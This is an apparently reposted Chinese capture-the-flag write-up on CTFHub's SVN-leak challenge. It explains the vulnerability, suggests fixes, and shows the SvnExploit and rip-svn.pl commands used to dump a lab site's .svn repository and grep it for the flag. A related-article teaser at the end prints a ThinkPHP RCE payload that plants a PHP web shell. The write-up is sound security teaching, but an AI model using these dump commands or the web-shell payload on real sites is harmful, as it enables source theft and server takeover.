CTFHub技能树-信息泄露-SVN泄漏

news2024/11/14 13:55:05

目录

Git与SVN的区别

漏洞产生的原因

漏洞危害

修复建议

工具下载

解题过程


当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

Git与SVN的区别

  • Git 是分布式版本控制系统,每个开发者都拥有完整的代码库副本。这意味着即使没有中央服务器,你也可以在本地进行大部分操作,如提交、查看历史记录等。当有网络连接时,可以与其他开发者进行同步。
  • SVN 是集中式版本控制系统,代码存储在中央服务器上。开发者需要连接到中央服务器才能进行大部分操作。如果中央服务器出现问题,可能会影响整个团队的开发工作。

漏洞产生的原因

在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的entries文件,获取站点信息。

漏洞危害

攻击者可以利用.svn/entries文件,获取到应用程序源代码、svn服务器账号密码等信息。同时,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。

  1. 攻击者利用该漏洞可下载网站源代码,获得数据库的连接账号密码等敏感信息;
  2. 攻击者可通过获取的源代码进一步分析出新的系统漏洞,从而进一步入侵系统;

修复建议

  • 查找服务器上所有.svn隐藏文件夹,删除。
  • 开发人员在使用SVN时,严格使用导出功能,禁止直接复制代码。

工具下载

SvnExploit下载

GitHub - admintony/svnExploit: SvnExploit支持SVN源代码泄露全版本Dump源码

dvcs-ripper下载

GitHub - kost/dvcs-ripper: Rip web accessible (distributed) version control systems: SVN/GIT/HG...

dvcs-ripper需要在kali上下载运行,并安装Perl环境

sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

解题过程

首先还是先使用dirsearch进行扫描,发现有.svn泄漏

使用svnexploit工具下载.svn

python3 SvnExploit.py -u http://challenge-9005d52ddc930d30.sandbox.ctfhub.com:10800/.svn/ --dump

 

但是svnexploit这个工具只能获取当前版本的源代码,而题目提示说flag在旧版本

所有我们要得到旧版本的源码

使用.使用 dvcs-ripper 工具中的 rip-svn.pl 脚本进行下载

./rip-svn.pl -v -u http://challenge-9005d52ddc930d30.sandbox.ctfhub.com:10800/.svn

使用ls -a查看隐藏文件

匹配二进制源码

cat wc.db|grep -a flag

最后找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115908.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vulhub命令执行/代码执行漏洞

一、Thinkphp5 2-rce远程代码执行漏洞 1.打开靶场环境 2、访问网页 3、构造payload 172.16.1.18:8080?s/Index/index/L/${phpinfo()} 4、写入一句话木马,使用蚁剑连接 172.16.1.18:8080/?s/Index/index/name/${print(eval($_POST[cmd]))} 二、Couchdb 任意命令…

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管…

【云原生】docker 部署 Doris 数据库使用详解

目录 一、前言 二、数据分析概述 2.1 什么是数据分析 2.2 数据分析目的和意义 2.3 数据分析常用的技术和工具 2.3.1 编程语言 2.3.2 数据处理和分析库 2.3.3 数据可视化工具 2.3.4 数据库系统 2.3.5大数据处理框架 2.3.6 云服务和平台 2.3.7 其他工具 三、Doris介绍…

Hash Table、HashMap、HashSet学习

文章目录 前言Hash Table(散列表)基本概念散列函数散列冲突(哈希碰撞)拉链法红黑树时间复杂度分析 HashMap基础方法使用基本的增删改查其他的方法 实现原理 HashSet基础操作去重原理 前言 本文用于介绍关于Hash Table、HashMap、…

UnLua调用C++函数

一、UnLua调用C全局静态函数 1、新建C类MyLuaUtils,继承BlueprintFunctionLibrary,实现全局静态函数GetInt。 MyLuaUtils.h UCLASS() class LUASHOOTING_API UMyLuaUtils : public UBlueprintFunctionLibrary {GENERATED_BODY()UFUNCTION(BlueprintCallable)static…

leetcode hot100_part17_技巧篇

题目 136.只出现一次的数字 结合题目给的数据特征,使用位运算中的异或^;异或的结果很好记,相互不同就是1,相同就是0;同或一样的 169.多数元素 直接排序了 后面那几个方法不看了,追求效率可以再看&#…

前端工程化详解 包管理工具

前端工程化详解 & 包管理工具 1、工程化体系介绍1.1、 什么是前端工程化1.2、 前端工程化发展 2、脚手架能力2.1 准备阶段2.2 开发阶段2.3 发布流程 3、npm能力3.1 剖析package.json3.1.1 必备属性3.1.2 描述信息3.1.3 依赖配置3.1.4 协议3.1.5 目录&文件相关3.1.5.1 程…

MATLAB基础语法知识

环境的配置等等就不写了,网上还是有很多资源可以找,而且正版的要付费,我也是看的网上的搞定的。 一,初识MATLAB 1.1 MATLAB的优势 不需要过多了解各种数值计算方法的具体细节和计算公式,也不需要繁琐的底层编程。可…

Untiy TTF转换为SDF

Untiy TTF转换为SDF 原因 下载的字体是TTF格式,但是TMP使用的是SDF格式,不支持TTF,需要转换网络没有检索到TTF转SDF的教程,可能是太简单了,自己记录一下吧 Unity内转换即可 在Asset中找到自己的TTF右键点击TTF&…

C++入门基础篇

引言 说到编程语言常常听到的就是C语言C Java 。C语言是面向过程的,C是和Java是面向对象的,那么什么是面向对象呢?什么又是面向过程呢?C是什么?封装、继承、多态是什么?且听我絮絮叨叨。 C入门基础 1.命名…

fluent 旋转机械流场与声场仿真-学习笔记

这里写目录标题 1、动网格与滑移网格、运动参考系2、网格拓扑与共节点设置3、模型选择4、关于旋转壁面(rotor_blade)的边界条件设置5、滑移网格瞬态计算时间步长设置6、风机声场仿真域![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/7855a595ee704c42a644…

【linux学习指南】Linux项目自动化构建工具 make /makefile进度条代码

文章目录 📝前言🌠 Makefile 格式🌉Makefile命令符号 🌠makefile/make基本原理🌉总和小案例 🌠进度条代码🚩总结 📝前言 一个工程中的源文件多不技计数,其按其按类型、功…

某部门系统主机中病毒分析

一、安全巡检 正在写着代码,我的电脑火绒软件提示有内网攻击,关于一个古老的漏洞:“永恒之蓝”。瞬间来了兴趣,不会现在仍然有电脑中这病毒吧,打开绿盟安全管理平台。根据IP查询记录,果然有很多漏洞。 发…

《深入浅出WPF》读书笔记.11Template机制(上)

《深入浅出WPF》读书笔记.11Template机制(上) 背景 模板机制用于实现控件数据算法的内容与外观的解耦。 《深入浅出WPF》读书笔记.11Template机制(上) 模板机制 模板分类 数据外衣DataTemplate 常用场景 事件驱动和数据驱动的区别 示例代码 使用DataTemplate实现数据样式…

2024Mysql And Redis基础与进阶操作系列(1)作者——LJS[含MySQL的下载、安装、配置详解步骤及报错对应解决方法]

目录 1.数据库与数据库管理系统 1.1 数据库的相关概念 1.2 数据库与数据库管理系统的关系 1.3 常见的数据库简介 Oracle 1. 核心功能 2. 架构和组件 3. 数据存储和管理 4. 高可用性和性能优化 5. 安全性 6. 版本和产品 7. 工具和接口 SQL Server 1. 核心功能 2. 架构和组…

唯徳知识产权产权系统存在任意文件读取漏洞

漏洞描述 深圳市唯德科创信息有限公司(以下简称:唯德)于2014年在深圳成立,是专业提供企业、代理机构知识产权管理软件供应商,唯德凭借领先的技术实力和深厚的专利行业积累,产品自上市推广以来,…

一文讲懂Spring Event事件通知机制

目录 一 什么是spring event 二 怎么实现spring event 一 什么是spring event 我不会按照官方的解释来说什么是spring event,我只是按照自己的理解来解释,可能原理上会和官方有偏差,但是它的作用和功能就是这个,我更加偏向于从他…

CTK框架(三): 插件的安装

目录 1.方式1:使用ctk框架工厂,适用于调用普通的插件 1.1.步骤 1.2.实现 2.方法2:使用ctk框架启动器,适用于需要eventadmin时 2.1.实现 3.注意事项 1.方式1:使用ctk框架工厂,适用于调用普通的插件 1…

Linux服务器应急响应(下)

目录 介绍步骤 介绍 Linux alias命令用于设置指令的别名。 用户可利用alias,自定指令的别名。若仅输入alias,则可列出目前所有的别名设置。alias的效力仅及于该次登入的操作。若要每次登入是即自动设好别名,可在.profile或.cshrc中设定指令…

ggplot2 缩小的、带箭头的坐标轴 | R语言

1. 效果图 左侧为DimPlot2()效果图。 右侧为DimPlot()效果图,原图。 2. 代码 # DimPlot with 缩小的坐标轴 # # param scObject # param reduction # param group.by # param label # param raster # param legend.position # param ... # # return # expo…